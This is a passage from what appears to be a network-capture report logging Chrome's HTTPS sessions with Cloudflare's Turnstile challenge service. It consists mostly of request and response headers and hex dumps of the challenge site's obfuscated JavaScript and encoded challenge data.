G[iQ(649)]('')},'j':function(h,iR,i,j,l){if(iR=iM,i={},i[iR(1434)]=d[iR(1154)],j=i,d[iR(1118)](iR(994),d[iR(687)]))f[j[iR(1434)]]&&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49764	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:19 UTC	743	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:19 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:19 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 90a37f89cf3541f9-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:19 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49765	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:20 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:20 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:20 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 90a37f8daaff4289-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49766	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:20 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a37f855bab32ca&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:20 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115466 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 90a37f8edfcd8c89-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:20 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 52 61 59 54 31 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZRaYT1={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 Data Ascii: f%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 61 2c 66 62 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 34 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 31 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 35 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 31 38 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 33 39 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 39 33 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 37 39 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,fa,fb){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1404))/1(-parseInt(gI(431))/2)+parseInt(gI(1125))/3+parseInt(gI(518))/4(-parseInt(gI(939))/5)+-parseInt(gI(793))/6+parseInt(gI(1379))/7*(parseInt(gI
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 47 2b 48 7d 2c 27 49 57 4a 53 47 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 4c 54 77 75 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3c 48 7d 2c 27 4d 4f 62 45 69 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 71 76 4a 53 76 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 72 78 66 4b 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 6f 5b 68 32 28 31 35 35 33 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 6f 5b 68 32 28 31 35 35 33 29 5d 28 76 6f 69 64 20 30 2c 68 29 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 65 57 28 68 29 2c 67 Data Ascii: eturn G+H},'IWJSG':function(G,H){return G===H},'LTwul':function(G,H){return G<H},'MObEi':function(G,H){return G(H)},'qvJSv':function(G,H){return G+H},'rxfKk':function(G,H,I){return G(H,I)}},o[h2(1553)](null,h)\|\|o[h2(1553)](void 0,h))return j;for(x=eW(h),g
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 26 69 5b 68 35 28 31 34 38 39 29 5d 28 74 79 70 65 6f 66 20 73 5b 68 35 28 31 36 30 33 29 5d 2c 68 35 28 31 37 34 36 29 29 29 26 26 28 6f 3d 46 5b 68 35 28 31 36 30 33 29 5d 5b 68 35 28 31 32 39 35 29 5d 28 27 5c 6e 27 29 2c 6f 5b 68 35 28 35 33 38 29 5d 3e 31 29 26 26 28 73 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 76 3d 6f 5b 31 5d 5b 68 35 28 31 36 32 31 29 5d 28 73 29 2c 76 26 26 28 51 3d 76 5b 31 5d 2c 52 3d 53 28 76 5b 32 5d 2c 31 30 29 2c 54 3d 69 5b 68 35 28 31 35 36 33 29 5d 28 55 2c 76 5b 33 5d 2c 31 30 29 29 29 3b 65 6c 73 65 20 69 66 28 6c 3d 6a 5b 6b 5d 2c 27 66 27 3d 3d 3d 6c 26 26 28 6c 3d 27 4e 27 29 2c 67 5b 6c 5d 29 7b 66 6f 72 28 6d 3d 30 3b 69 5b 68 35 28 31 31 30 36 29 5d 28 6d 2c 68 5b 6a Data Ascii: &i[h5(1489)](typeof s[h5(1603)],h5(1746)))&&(o=F[h5(1603)][h5(1295)]('\n'),o[h5(538)]>1)&&(s=/^\s*at\s+(.+):(\d+):(\d+)/,v=o[1][h5(1621)](s),v&&(Q=v[1],R=S(v[2],10),T=i[h5(1563)](U,v[3],10)));else if(l=j[k],'f'===l&&(l='N'),g[l]){for(m=0;i[h5(1106)](m,h[j
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 2c 27 74 61 69 51 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 6b 48 45 5a 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 70 64 65 45 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 54 68 6c 6f 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 67 79 77 68 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 4d 65 44 53 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 69 67 62 45 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 59 6e 67 5a 78 27 3a 66 75 6e 63 74 69 6f Data Ascii: ,'taiQr':function(h,i){return h==i},'kHEZF':function(h,i){return h\|i},'pdeEZ':function(h,i){return i&h},'Thlor':function(h,i){return h^i},'gywhM':function(h,i){return i^h},'MeDSU':function(h,i){return i^h},'igbEy':function(h,i){return h^i},'YngZx':functio
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 32 29 5d 28 29 7d 65 6c 73 65 20 69 66 28 64 5b 68 43 28 31 37 38 36 29 5d 28 64 5b 68 43 28 39 32 31 29 5d 2c 68 43 28 31 35 34 35 29 29 29 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 68 43 28 36 39 32 29 5d 28 48 3c 3c 31 2c 4d 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 68 43 28 31 34 31 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 68 43 28 31 37 31 39 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 68 43 28 38 35 35 29 5d 28 31 36 2c 73 29 3b 48 3d 64 5b 68 43 28 36 39 32 29 5d 28 48 3c 3c 31 2c 4d 26 31 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 68 43 28 31 34 31 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 69 Data Ascii: 2)]()}else if(d[hC(1786)](d[hC(921)],hC(1545))){for(M=1,s=0;s<F;H=d[hC(692)](H<<1,M),j-1==I?(I=0,G[hC(1411)](o(H)),H=0):I++,M=0,s++);for(M=C[hC(1719)](0),s=0;d[hC(855)](16,s);H=d[hC(692)](H<<1,M&1),I==j-1?(I=0,G[hC(1411)](o(H)),H=0):I++,M>>=1,s++);}else{i
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 48 3c 3c 31 2e 32 36 2c 64 5b 68 43 28 31 37 34 34 29 5d 28 4d 2c 31 29 29 2c 49 3d 3d 64 5b 68 43 28 36 32 33 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 68 43 28 31 34 31 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 6a 2d 31 3d 3d 49 29 7b 47 5b 68 43 28 31 34 31 31 29 5d 28 64 5b 68 43 28 31 36 32 32 29 5d 28 6f 2c 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 68 43 28 36 36 39 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 68 44 29 7b 72 65 74 75 72 6e 20 68 44 3d 68 41 2c 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 64 5b 68 44 28 31 38 34 30 29 5d 28 27 27 2c 68 29 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 68 44 28 Data Ascii: H<<1.26,d[hC(1744)](M,1)),I==d[hC(623)](j,1)?(I=0,G[hC(1411)](o(H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,j-1==I){G[hC(1411)](d[hC(1622)](o,H));break}else I++;return G[hC(669)]('')},'j':function(h,hD){return hD=hA,h==null?'':d[hD(1840)]('',h)?null:f.i(h[hD(
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 29 3b 3b 29 7b 69 66 28 64 5b 68 46 28 38 35 35 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 46 28 38 32 32 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 64 5b 68 46 28 39 32 35 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 46 28 38 32 32 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 64 5b 68 46 28 31 32 39 33 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 46 28 37 32 38 29 5d 28 Data Ascii: );;){if(d[hF(855)](I,i))return'';for(J=0,K=Math[hF(822)](2,C),F=1;F!=K;L=d[hF(925)](G,H),H>>=1,0==H&&(H=j,G=o(I++)),J\|=F*(0<L?1:0),F<<=1);switch(M=J){case 0:for(J=0,K=Math[hF(822)](2,8),F=1;F!=K;L=d[hF(1293)](G,H),H>>=1,0==H&&(H=j,G=o(I++)),J\|=d[hF(728)](
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 28 31 31 38 31 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 69 6a 28 31 33 31 36 29 5d 5b 69 6a 28 37 37 38 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 69 6a 28 31 34 39 34 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 69 6a 28 31 33 31 36 29 5d 5b 69 6a 28 37 35 39 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 38 39 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 6b 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 76 29 7b 69 3d 28 69 6b 3d 67 4a 2c 7b 27 4e 51 47 42 47 27 3a 66 75 6e 63 74 69 6f 6e 28 78 2c 42 2c 43 29 7b 72 65 74 75 72 6e 20 78 28 42 2c 43 29 7d 2c 27 53 79 6f 46 4d 27 3a 69 6b 28 31 32 35 36 29 2c 27 6e 51 53 51 6a 27 3a 69 6b 28 36 39 37 29 2c 27 71 67 7a 74 78 27 3a 69 6b 28 35 38 35 29 2c 27 79 4d 6b 58 75 27 Data Ascii: (1181)],'cfChlOutS':eM[ij(1316)][ij(778)],'code':e[ij(1494)],'rcV':eM[ij(1316)][ij(759)]},'*'))},g)},eM[gJ(890)]=function(f,g,h,ik,i,j,k,l,m,n,o,s,v){i=(ik=gJ,{'NQGBG':function(x,B,C){return x(B,C)},'SyoFM':ik(1256),'nQSQj':ik(697),'qgztx':ik(585),'yMkXu'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49768	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:20 UTC	1149	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3555 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:20 UTC	3555	OUT	Data Raw: 51 69 2b 4b 50 4b 41 4b 48 4b 38 4b 70 4b 4a 63 37 4f 52 37 6b 79 58 4c 70 74 6b 49 37 70 37 5a 38 79 39 6f 48 37 4d 47 37 39 79 37 31 57 4e 4c 4b 66 63 4e 6b 48 76 6b 74 57 24 37 39 67 76 47 4c 46 37 58 57 48 57 6e 57 37 78 42 69 37 70 2b 2b 76 57 64 37 78 4c 57 70 4d 4b 58 4c 46 59 36 4b 58 76 47 37 7a 68 45 30 58 37 39 43 30 5a 78 37 4d 67 64 6f 37 49 4b 39 4c 46 51 32 5a 76 33 33 64 37 64 63 6f 64 7a 2b 37 47 76 57 33 37 47 30 78 37 33 78 54 30 63 48 37 65 61 41 4b 73 52 57 75 6c 4f 79 75 52 6c 69 6c 59 2b 4c 62 74 63 7a 53 37 6b 4c 37 66 4b 58 54 37 49 78 63 6c 58 4d 54 37 56 2b 37 6b 4b 58 6b 75 37 38 46 37 47 4c 79 56 6f 5a 44 57 70 31 37 72 52 43 4a 37 75 41 76 37 39 78 78 51 43 57 69 50 64 5a 5a 75 39 4b 62 4a 68 6e 44 43 58 24 71 37 39 30 46 37 Data Ascii: Qi+KPKAKHK8KpKJc7OR7kyXLptkI7p7Z8y9oH7MG79y71WNLKfcNkHvktW$79gvGLF7XWHWnW7xBi7p++vWd7xLWpMKXLFY6KXvG7zhE0X79C0Zx7Mgdo7IK9LFQ2Zv33d7dcodz+7GvW37G0x73xT0cH7eaAKsRWulOyuRlilY+LbtczS7kL7fKXT7IxclXMT7V+7kKXku78F7GLyVoZDWp17rRCJ7uAv79xxQCWiPdZZu9KbJhnDCX$q790F7
2025-01-30 18:24:20 UTC	771	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:20 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 164272 Connection: close cf-chl-gen: q9hXUvOE4IT98/uyf4IIjMWJrDku9NWpjZXijaZ4QJv1jClSyqkGVrYinEADkHJw1XbWxLuw6/MsWd5LOEveZ0kCM6P6uyDhRbsLZJX6bN1qtupxpaXVoGEYmGS71G6hR2byw73uK6XfxmS9O3gXrG5hyaqk6BefvMNCEUu4Z2Jc92sObmlItabRqQoasE5NA0bPvIBTuYue3HLq9c6gfQai7wQgvleDNLVuzpmBZ3Ot++dn6Pr9m1swtFS39uwJIbwB0I36hIyZCceKnU+tdXkJg9fyYLnbMcSirFiY7BXBH+VBE6pzOPt1vol91xTTLSNbinEMNlbmUVqGqSYa1M9itp9X8Luwkyiaq/teqfl57E0qvfECjHCpc3xAZLvXA0w1Vd+1TxZddhz7faBt/67FTUNElTuYx2tcJO231+kSe9n9+WMr0rTyKgMPcVNVsU/1V2W1Erf9gHY5PF2vqjUDnuot2wi0c5BcArzUMFQZHeeLhL8Bxowe5nayKjHh$3aIj6SklBik/7AbFSpLIhA== Server: cloudflare CF-RAY: 90a37f8fcb8ef78d-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:20 UTC	598	IN	Data Raw: 69 6f 56 6d 68 59 75 52 6e 5a 61 4a 57 6e 79 69 58 35 53 6d 63 35 42 69 68 35 75 4b 65 34 4f 6f 71 70 32 47 6e 61 4e 76 72 61 2b 6e 63 6e 6d 32 74 71 6d 57 71 61 39 38 65 72 57 77 75 5a 5a 2b 77 72 57 6d 74 62 75 4a 72 38 54 41 6f 61 72 4f 7a 73 47 32 77 63 66 50 70 38 62 45 71 37 6a 65 6e 4f 44 68 6f 63 32 7a 6f 74 6a 51 74 37 2f 68 31 38 76 74 30 4f 72 63 35 4e 33 67 31 73 76 6b 31 76 44 50 36 4e 33 4c 79 4e 72 67 75 67 4c 35 2f 76 44 38 38 66 66 6d 79 76 7a 73 41 73 34 42 38 4e 34 48 45 38 37 65 46 2b 55 46 35 74 49 53 2b 67 6a 33 46 2b 67 67 38 2f 6a 73 45 66 55 54 47 66 30 73 4b 50 58 6c 37 43 34 76 45 66 77 65 35 67 73 30 4a 76 50 35 2b 43 66 33 42 6a 41 79 2f 43 34 43 51 2f 34 6d 4f 42 30 48 4f 44 59 34 43 45 67 77 52 6b 39 50 4c 51 74 44 55 30 74 Data Ascii: ioVmhYuRnZaJWnyiX5Smc5Bih5uKe4Ooqp2GnaNvra+ncnm2tqmWqa98erWwuZZ+wrWmtbuJr8TAoarOzsG2wcfPp8bEq7jenODhoc2zotjQt7/h18vt0Orc5N3g1svk1vDP6N3LyNrgugL5/vD88ffmyvzsAs4B8N4HE87eF+UF5tIS+gj3F+gg8/jsEfUTGf0sKPXl7C4vEfwe5gs0JvP5+Cf3BjAy/C4CQ/4mOB0HODY4CEgwRk9PLQtDU0t
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 4d 74 45 6a 59 64 4b 47 41 76 51 6a 42 58 54 55 34 36 4e 32 68 61 50 32 31 70 4e 79 6c 48 59 6e 42 53 50 6c 38 2f 4b 53 35 76 4f 6d 64 48 58 6d 70 57 59 58 74 37 51 31 4f 44 56 56 64 68 64 57 70 45 53 47 31 73 62 55 32 51 55 57 79 55 59 33 61 4c 62 59 6c 34 68 31 64 73 69 46 46 33 61 6f 78 30 6f 6e 52 6b 57 5a 6c 68 5a 59 43 66 61 47 36 6a 73 4b 35 70 6f 48 79 66 6f 6f 57 76 72 4b 4e 30 6d 61 6d 66 6e 59 6d 30 71 70 4b 69 78 49 57 67 79 4a 57 72 6d 61 6d 74 72 4a 7a 44 77 5a 44 42 76 39 61 52 6c 71 58 46 7a 36 4f 37 32 70 6a 4c 73 38 47 63 33 37 75 63 75 74 53 77 30 39 79 6a 70 4e 76 4f 76 63 58 71 77 74 47 30 34 4e 62 55 36 75 6a 61 74 4c 6a 77 33 4c 6a 64 38 63 44 78 33 66 44 42 42 50 66 43 2b 4e 54 45 37 63 66 64 77 67 62 4a 41 65 41 41 42 74 44 6c 43 Data Ascii: MtEjYdKGAvQjBXTU46N2haP21pNylHYnBSPl8/KS5vOmdHXmpWYXt7Q1ODVVdhdWpESG1sbU2QUWyUY3aLbYl4h1dsiFF3aox0onRkWZlhZYCfaG6jsK5poHyfooWvrKN0mamfnYm0qpKixIWgyJWrmamtrJzDwZDBv9aRlqXFz6O72pjLs8Gc37ucutSw09yjpNvOvcXqwtG04NbU6ujatLjw3Ljd8cDx3fDBBPfC+NTE7cfdwgbJAeAABtDlC
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 75 54 7a 64 62 4f 31 67 6b 58 6d 52 55 4b 47 4a 65 4f 44 35 4f 4f 55 46 51 51 32 46 46 52 31 4a 4c 62 55 6b 34 63 6c 39 76 62 6e 46 79 57 45 42 42 51 54 6c 56 64 46 39 38 52 59 36 4c 6a 6b 6d 53 53 58 42 39 6b 57 35 31 54 35 70 32 6c 45 35 6c 6c 33 70 31 62 6c 70 65 6d 6e 74 64 5a 4a 36 6b 6c 47 69 69 6e 70 68 73 70 71 47 63 63 4b 71 6b 72 61 75 70 69 48 71 52 73 49 69 71 66 70 68 34 64 48 32 33 6b 61 36 66 6e 34 53 6a 6d 71 53 59 75 71 37 42 73 62 75 6b 7a 62 57 57 79 39 6a 57 30 61 61 33 6d 4d 72 55 30 63 47 71 74 4a 36 2b 70 63 44 6e 70 4e 4f 6a 33 2b 50 65 76 63 33 67 30 4e 48 4a 37 4e 37 4a 38 72 6d 78 39 73 72 4b 73 4c 6a 68 39 77 48 78 30 66 48 51 31 50 44 35 2b 67 6e 69 36 38 6e 6f 38 4f 34 54 34 76 4c 64 35 66 54 6e 42 75 6e 72 39 51 62 38 2f 53 Data Ascii: 